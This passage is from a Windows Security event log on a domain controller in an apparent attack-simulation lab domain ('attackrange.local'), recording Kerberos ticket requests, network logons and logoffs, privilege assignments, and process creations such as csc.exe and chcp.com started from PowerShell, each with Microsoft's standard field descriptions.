access was requested. - -This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event. The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket. - -Ticket options, encryption types, and failure codes are defined in RFC 4120. -03/11/2021 11:49:28 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4768 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Authentication Service -OpCode=Info -RecordNumber=250595 -Keywords=Audit Success -Message=A Kerberos authentication ticket (TGT) was requested. - -Account Information: - Account Name: Administrator - Supplied Realm Name: ATTACKRANGE - User ID: ATTACKRANGE\Administrator - -Service Information: - Service Name: krbtgt - Service ID: ATTACKRANGE\krbtgt - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810010 - Result Code: 0x0 - Ticket Encryption Type: 0x12 - Pre-Authentication Type: 2 - -Certificate Information: - Certificate Issuer Name: - Certificate Serial Number: - Certificate Thumbprint: - -Certificate information is only provided if a certificate was used for pre-authentication. - -Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120. -03/11/2021 11:49:28 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=250594 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x11046E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xe08 - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x1308 - Creator Process Name: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe - Process Command Line: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\ADMINI~1\AppData\Local\Temp\rflm1nxn.cmdline" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:49:28 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=250593 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x113F2C - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:49:28 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=250592 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x113F2C - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {516F09E8-915A-EEAE-06B7-D42FEBA6FC38} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: ::1 - Source Port: 64464 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:49:28 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=250591 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x113F2C - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:49:28 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=250590 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x113ED6 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:49:28 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=250589 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x113ED6 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {516F09E8-915A-EEAE-06B7-D42FEBA6FC38} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: ::1 - Source Port: 64463 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:49:28 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=250588 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x113ED6 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:49:28 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=250587 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x113E84 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:49:28 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=250586 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x113E84 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: fe80::1810:3209:f5ff:fef1 - Source Port: 64462 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:49:28 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=250585 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x113E84 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:49:28 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=250584 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x113E23 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:49:28 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=250583 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x113E23 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: 10.0.1.14 - Source Port: 64461 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:49:28 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=250582 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x113E23 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:49:28 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=250581 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x113DBD - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:49:28 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=250580 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x113DBD - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: 2001:0:2851:782c:1810:3209:f5ff:fef1 - Source Port: 64460 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:49:28 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=250579 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x113DBD - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:49:28 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=250578 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x113D5C - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:49:28 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=250577 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x113D5C - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: fe80::80c8:c9ac:2ea9:b5ba - Source Port: 64459 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:49:28 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=250576 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x113D5C - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:49:28 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=250575 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x11c0 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x12d0 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:49:28 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=250574 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x113986 - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeEnableDelegationPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:49:28 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=250573 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x113986 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {518DECA3-8B9F-744F-0C93-FDB4F1CFF899} - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: WIN-DC-725 - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:49:28 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=250572 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon GUID: {518DECA3-8B9F-744F-0C93-FDB4F1CFF899} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/11/2021 11:49:28 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4769 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Service Ticket Operations -OpCode=Info -RecordNumber=250571 -Keywords=Audit Success -Message=A Kerberos service ticket was requested. - -Account Information: - Account Name: Administrator@ATTACKRANGE.LOCAL - Account Domain: ATTACKRANGE.LOCAL - Logon GUID: {518DECA3-8B9F-744F-0C93-FDB4F1CFF899} - -Service Information: - Service Name: WIN-DC-725$ - Service ID: ATTACKRANGE\WIN-DC-725$ - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810000 - Ticket Encryption Type: 0x12 - Failure Code: 0x0 - Transited Services: - - -This event is generated every time access is requested to a resource such as a computer or a Windows service. The service name indicates the resource to which access was requested. - -This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event. The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket. - -Ticket options, encryption types, and failure codes are defined in RFC 4120. -03/11/2021 11:49:28 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4768 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Authentication Service -OpCode=Info -RecordNumber=250570 -Keywords=Audit Success -Message=A Kerberos authentication ticket (TGT) was requested. - -Account Information: - Account Name: Administrator - Supplied Realm Name: ATTACKRANGE - User ID: ATTACKRANGE\Administrator - -Service Information: - Service Name: krbtgt - Service ID: ATTACKRANGE\krbtgt - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810010 - Result Code: 0x0 - Ticket Encryption Type: 0x12 - Pre-Authentication Type: 2 - -Certificate Information: - Certificate Issuer Name: - Certificate Serial Number: - Certificate Thumbprint: - -Certificate information is only provided if a certificate was used for pre-authentication. - -Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120. -03/11/2021 11:49:28 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=250569 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x11046E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x11a0 - New Process Name: C:\Windows\System32\chcp.com - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x1308 - Creator Process Name: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe - Process Command Line: "C:\Windows\system32\chcp.com" 65001 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:49:29 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information 